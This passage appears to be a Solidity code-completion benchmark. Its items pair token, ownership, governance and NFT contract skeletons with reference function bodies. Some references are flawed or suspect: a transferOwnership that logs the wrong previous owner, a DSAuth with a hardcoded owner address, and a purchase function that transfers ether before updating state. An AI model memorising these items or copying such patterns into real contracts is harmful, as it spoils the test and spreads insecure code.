getVideoGameItemCurrentPrice(uint _videoGameItemId) public view returns(uint256) { return(videoGameItems[_videoGameItemId].currentPrice); } // This function will return only the owner address of a specific Video Game function getVideoGameItemOwner(uint _videoGameItemId) public view returns(address) { return(videoGameItems[_videoGameItemId].ownerAddress); } /** @dev Multiplies two numbers, throws on overflow. => From the SafeMath library */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** @dev Integer division of two numbers, truncating the quotient. => From the SafeMath library */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } // This function will be used to add a new video game by the contract creator function addVideoGameItem(string videoGameItemName, address ownerAddress, uint256 currentPrice, uint parentVideoGame) public onlyContractCreator { videoGameItems.push(VideoGameItem(videoGameItemName,ownerAddress,currentPrice, parentVideoGame)); } }
require(msg.value >= videoGameItems[_videoGameItemId].currentPrice); require(isPaused == false); CryptoVideoGames parentContract = CryptoVideoGames(cryptoVideoGames); uint256 currentPrice = videoGameItems[_videoGameItemId].currentPrice; uint256 excess = msg.value - currentPrice; // Calculate the 10% value uint256 devFee = (currentPrice / 10); uint256 parentOwnerFee = (currentPrice / 10); address parentOwner = parentContract.getVideoGameOwner(videoGameItems[_videoGameItemId].parentVideoGame); address newOwner = msg.sender; // Calculate the video game owner commission on this sale & transfer the commission to the owner. uint256 commissionOwner = currentPrice - devFee - parentOwnerFee; // => 80% videoGameItems[_videoGameItemId].ownerAddress.transfer(commissionOwner); // Transfer the 10% commission to the developer devFeeAddress.transfer(devFee); // => 10% parentOwner.transfer(parentOwnerFee); // => 10% newOwner.transfer(excess); // Update the video game owner and set the new price videoGameItems[_videoGameItemId].ownerAddress = newOwner; videoGameItems[_videoGameItemId].currentPrice = mul(videoGameItems[_videoGameItemId].currentPrice, 2);
function purchaseVideoGameItem(uint _videoGameItemId) public payable
/* This function allows users to purchase Video Game Item. The price is automatically multiplied by 2 after each purchase. Users can purchase multiple video game Items. */ function purchaseVideoGameItem(uint _videoGameItemId) public payable
8644
DSAuth
isAuthorized
contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; constructor() public { owner = 0x990ed09c0f94E06Fe9283B1e4e35696d62Fa05A3; emit LogSetOwner(0x990ed09c0f94E06Fe9283B1e4e35696d62Fa05A3); } function setOwner(address owner_0x990ed09c0f94E06Fe9283B1e4e35696d62Fa05A3) public auth { owner = owner_0x990ed09c0f94E06Fe9283B1e4e35696d62Fa05A3; emit LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; emit LogSetAuthority(authority); } modifier auth { require(isAuthorized(msg.sender, msg.sig)); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) {<FILL_FUNCTION_BODY> } }
contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; constructor() public { owner = 0x990ed09c0f94E06Fe9283B1e4e35696d62Fa05A3; emit LogSetOwner(0x990ed09c0f94E06Fe9283B1e4e35696d62Fa05A3); } function setOwner(address owner_0x990ed09c0f94E06Fe9283B1e4e35696d62Fa05A3) public auth { owner = owner_0x990ed09c0f94E06Fe9283B1e4e35696d62Fa05A3; emit LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; emit LogSetAuthority(authority); } modifier auth { require(isAuthorized(msg.sender, msg.sig)); _; } <FILL_FUNCTION> }
if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, this, sig); }
function isAuthorized(address src, bytes4 sig) internal view returns (bool)
function isAuthorized(address src, bytes4 sig) internal view returns (bool)
82163
Owned
acceptOwnership
contract Owned { address public owner; address public newOwnerCandidate; event OwnershipRequested(address indexed by, address indexed to); event OwnershipTransferred(address indexed from, address indexed to); event OwnershipRemoved(); /// @dev The constructor sets the `msg.sender` as the`owner` of the contract function Owned() public { owner = msg.sender; } /// @dev `owner` is the only address that can call a function with this /// modifier modifier onlyOwner() { require (msg.sender == owner); _; } /// @dev In this 1st option for ownership transfer `proposeOwnership()` must /// be called first by the current `owner` then `acceptOwnership()` must be /// called by the `newOwnerCandidate` /// @notice `onlyOwner` Proposes to transfer control of the contract to a /// new owner /// @param _newOwnerCandidate The address being proposed as the new owner function proposeOwnership(address _newOwnerCandidate) public onlyOwner { newOwnerCandidate = _newOwnerCandidate; OwnershipRequested(msg.sender, newOwnerCandidate); } /// @notice Can only be called by the `newOwnerCandidate`, accepts the /// transfer of ownership function acceptOwnership() public {<FILL_FUNCTION_BODY> } /// @dev In this 2nd option for ownership transfer `changeOwnership()` can /// be called and it will immediately assign ownership to the `newOwner` /// @notice `owner` can step down and assign some other address to this role /// @param _newOwner The address of the new owner function changeOwnership(address _newOwner) public onlyOwner { require(_newOwner != 0x0); address oldOwner = owner; owner = _newOwner; newOwnerCandidate = 0x0; OwnershipTransferred(oldOwner, owner); } /// @dev In this 3rd option for ownership transfer `removeOwnership()` can /// be called and it will immediately assign ownership to the 0x0 address; /// it requires a 0xdece be input as a parameter to prevent accidental use /// @notice Decentralizes the contract, this operation cannot be undone /// @param _dac `0xdac` has to be entered for this function to work function removeOwnership(address _dac) public onlyOwner { require(_dac == 0xdac); owner = 0x0; newOwnerCandidate = 0x0; OwnershipRemoved(); } }
contract Owned { address public owner; address public newOwnerCandidate; event OwnershipRequested(address indexed by, address indexed to); event OwnershipTransferred(address indexed from, address indexed to); event OwnershipRemoved(); /// @dev The constructor sets the `msg.sender` as the`owner` of the contract function Owned() public { owner = msg.sender; } /// @dev `owner` is the only address that can call a function with this /// modifier modifier onlyOwner() { require (msg.sender == owner); _; } /// @dev In this 1st option for ownership transfer `proposeOwnership()` must /// be called first by the current `owner` then `acceptOwnership()` must be /// called by the `newOwnerCandidate` /// @notice `onlyOwner` Proposes to transfer control of the contract to a /// new owner /// @param _newOwnerCandidate The address being proposed as the new owner function proposeOwnership(address _newOwnerCandidate) public onlyOwner { newOwnerCandidate = _newOwnerCandidate; OwnershipRequested(msg.sender, newOwnerCandidate); } <FILL_FUNCTION> /// @dev In this 2nd option for ownership transfer `changeOwnership()` can /// be called and it will immediately assign ownership to the `newOwner` /// @notice `owner` can step down and assign some other address to this role /// @param _newOwner The address of the new owner function changeOwnership(address _newOwner) public onlyOwner { require(_newOwner != 0x0); address oldOwner = owner; owner = _newOwner; newOwnerCandidate = 0x0; OwnershipTransferred(oldOwner, owner); } /// @dev In this 3rd option for ownership transfer `removeOwnership()` can /// be called and it will immediately assign ownership to the 0x0 address; /// it requires a 0xdece be input as a parameter to prevent accidental use /// @notice Decentralizes the contract, this operation cannot be undone /// @param _dac `0xdac` has to be entered for this function to work function removeOwnership(address _dac) public onlyOwner { require(_dac == 0xdac); owner = 0x0; newOwnerCandidate = 0x0; OwnershipRemoved(); } }
require(msg.sender == newOwnerCandidate); address oldOwner = owner; owner = newOwnerCandidate; newOwnerCandidate = 0x0; OwnershipTransferred(oldOwner, owner);
function acceptOwnership() public
/// @notice Can only be called by the `newOwnerCandidate`, accepts the /// transfer of ownership function acceptOwnership() public
10745
Context
_msgData
contract Context { constructor() internal {} function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) {<FILL_FUNCTION_BODY> } }
contract Context { constructor() internal {} function _msgSender() internal view returns (address payable) { return msg.sender; } <FILL_FUNCTION> }
this; return msg.data;
function _msgData() internal view returns (bytes memory)
function _msgData() internal view returns (bytes memory)
8956
ERC20Detailed
decimals
contract ERC20Detailed is IERC20 { uint8 private _Tokendecimals; string private _Tokenname; string private _Tokensymbol; constructor(string memory name, string memory symbol, uint8 decimals) public { _Tokendecimals = decimals; _Tokenname = name; _Tokensymbol = symbol; } function name() public view returns(string memory) { return _Tokenname; } function symbol() public view returns(string memory) { return _Tokensymbol; } function decimals() public view returns(uint8) {<FILL_FUNCTION_BODY> } }
contract ERC20Detailed is IERC20 { uint8 private _Tokendecimals; string private _Tokenname; string private _Tokensymbol; constructor(string memory name, string memory symbol, uint8 decimals) public { _Tokendecimals = decimals; _Tokenname = name; _Tokensymbol = symbol; } function name() public view returns(string memory) { return _Tokenname; } function symbol() public view returns(string memory) { return _Tokensymbol; } <FILL_FUNCTION> }
return _Tokendecimals;
function decimals() public view returns(uint8)
function decimals() public view returns(uint8)
34669
MarsToken
getPriorVotes
contract MarsToken is ERC20, ERC20Detailed("MarsToken", "Mars", 18), Ownable { function distributeMars(address _communityTreasury, address _teamTreasury, address _investorTreasury) external onlyOwner { require(totalSupply() == 0, "token distributed"); uint256 supply = 2_100_000_000e18; // 2.1 billion Mars _mint(_communityTreasury, supply.mul(75).div(100)); _mint(_teamTreasury, supply.mul(20).div(100)); _mint(_investorTreasury, supply.mul(5).div(100)); require(supply == totalSupply(), "total number of mars error"); } // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol /// @notice A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "MARS::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "MARS::delegateBySig: invalid nonce"); require(now <= expiry, "MARS::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) {<FILL_FUNCTION_BODY> } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying MARSs (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "MARS::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
contract MarsToken is ERC20, ERC20Detailed("MarsToken", "Mars", 18), Ownable { function distributeMars(address _communityTreasury, address _teamTreasury, address _investorTreasury) external onlyOwner { require(totalSupply() == 0, "token distributed"); uint256 supply = 2_100_000_000e18; // 2.1 billion Mars _mint(_communityTreasury, supply.mul(75).div(100)); _mint(_teamTreasury, supply.mul(20).div(100)); _mint(_investorTreasury, supply.mul(5).div(100)); require(supply == totalSupply(), "total number of mars error"); } // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol /// @notice A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "MARS::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "MARS::delegateBySig: invalid nonce"); require(now <= expiry, "MARS::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } <FILL_FUNCTION> function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying MARSs (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "MARS::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
require(blockNumber < block.number, "MARS::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes;
function getPriorVotes(address account, uint blockNumber) external view returns (uint256)
/** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256)
60130
Admined
transferAdminship
contract Admined { //This token contract is administered address public admin; //Admin address is public /** * @dev Contract constructor, define initial administrator */ constructor() internal { admin = msg.sender; //Set initial admin to contract creator emit AdminedEvent(admin); } modifier onlyAdmin() { //A modifier to define admin-only functions require(msg.sender == admin); _; } /** * @dev Function to set new admin address * @param _newAdmin The address to transfer administration to */ function transferAdminship(address _newAdmin) onlyAdmin public {<FILL_FUNCTION_BODY> } //All admin actions have a log for public review event TransferAdminship(address newAdminister); event AdminedEvent(address administer); }
contract Admined { //This token contract is administered address public admin; //Admin address is public /** * @dev Contract constructor, define initial administrator */ constructor() internal { admin = msg.sender; //Set initial admin to contract creator emit AdminedEvent(admin); } modifier onlyAdmin() { //A modifier to define admin-only functions require(msg.sender == admin); _; } <FILL_FUNCTION> //All admin actions have a log for public review event TransferAdminship(address newAdminister); event AdminedEvent(address administer); }
//Admin can be transfered require(_newAdmin != address(0)); admin = _newAdmin; emit TransferAdminship(admin);
function transferAdminship(address _newAdmin) onlyAdmin public
/** * @dev Function to set new admin address * @param _newAdmin The address to transfer administration to */ function transferAdminship(address _newAdmin) onlyAdmin public
18516
StandardToken
allowance
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) {<FILL_FUNCTION_BODY> } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } <FILL_FUNCTION> /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
return allowed[_owner][_spender];
function allowance(address _owner, address _spender) public view returns (uint256 remaining)
/** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256 remaining)
92854
Owned
transferOwnership
contract Owned { address public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner {<FILL_FUNCTION_BODY> } }
contract Owned { address public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } <FILL_FUNCTION> }
owner = newOwner; emit OwnershipTransferred(owner, newOwner);
function transferOwnership(address newOwner) public onlyOwner
function transferOwnership(address newOwner) public onlyOwner
17752
ERC20Token
null
contract ERC20Token is Context, ERC20 { constructor( string memory name, string memory symbol, address creator, uint256 initialSupply ) ERC20(name, symbol, creator) {<FILL_FUNCTION_BODY> } }
contract ERC20Token is Context, ERC20 { <FILL_FUNCTION> }
DeployKnowYourCapital(creator, initialSupply);
constructor( string memory name, string memory symbol, address creator, uint256 initialSupply ) ERC20(name, symbol, creator)
constructor( string memory name, string memory symbol, address creator, uint256 initialSupply ) ERC20(name, symbol, creator)
67679
GovernanceMigratable
removeAddressFromGovernanceContract
contract GovernanceMigratable is Multiownable { mapping(address => bool) public governanceContracts; event GovernanceContractAdded(address addr); event GovernanceContractRemoved(address addr); modifier onlyGovernanceContracts() { require(governanceContracts[msg.sender]); _; } function addAddressToGovernanceContract(address addr) onlyManyOwners public returns(bool success) { if (!governanceContracts[addr]) { governanceContracts[addr] = true; emit GovernanceContractAdded(addr); success = true; } } function removeAddressFromGovernanceContract(address addr) onlyManyOwners public returns(bool success) {<FILL_FUNCTION_BODY> } }
contract GovernanceMigratable is Multiownable { mapping(address => bool) public governanceContracts; event GovernanceContractAdded(address addr); event GovernanceContractRemoved(address addr); modifier onlyGovernanceContracts() { require(governanceContracts[msg.sender]); _; } function addAddressToGovernanceContract(address addr) onlyManyOwners public returns(bool success) { if (!governanceContracts[addr]) { governanceContracts[addr] = true; emit GovernanceContractAdded(addr); success = true; } } <FILL_FUNCTION> }
if (governanceContracts[addr]) { governanceContracts[addr] = false; emit GovernanceContractRemoved(addr); success = true; }
function removeAddressFromGovernanceContract(address addr) onlyManyOwners public returns(bool success)
function removeAddressFromGovernanceContract(address addr) onlyManyOwners public returns(bool success)
50143
ERC721
transferFrom
contract ERC721 is ERC165, IERC721, IERC721Events { mapping(uint256 => address) private _owners; mapping(address => uint256) private _balances; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } function balanceOf(address owner) public view virtual override returns (uint256) { require( owner != address(0), "ERC721: balance query for the zero address" ); return _balances[owner]; } function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require( owner != address(0), "ERC721: owner query for nonexistent token" ); return owner; } /** * @dev Base URI for computing {tokenURI}. Empty by default, can be overriden * in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( msg.sender == owner || isApprovedForAll(owner, msg.sender), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view virtual override returns (address) { require( _exists(tokenId), "ERC721: approved query for nonexistent token" ); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != msg.sender, "ERC721: approve to caller"); _operatorApprovals[msg.sender][operator] = approved; emit ApprovalForAll(msg.sender, operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom( address from, address to, uint256 tokenId ) public virtual override {<FILL_FUNCTION_BODY> } function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved" ); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require( _exists(tokenId), "ERC721: operator query for nonexistent token" ); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, 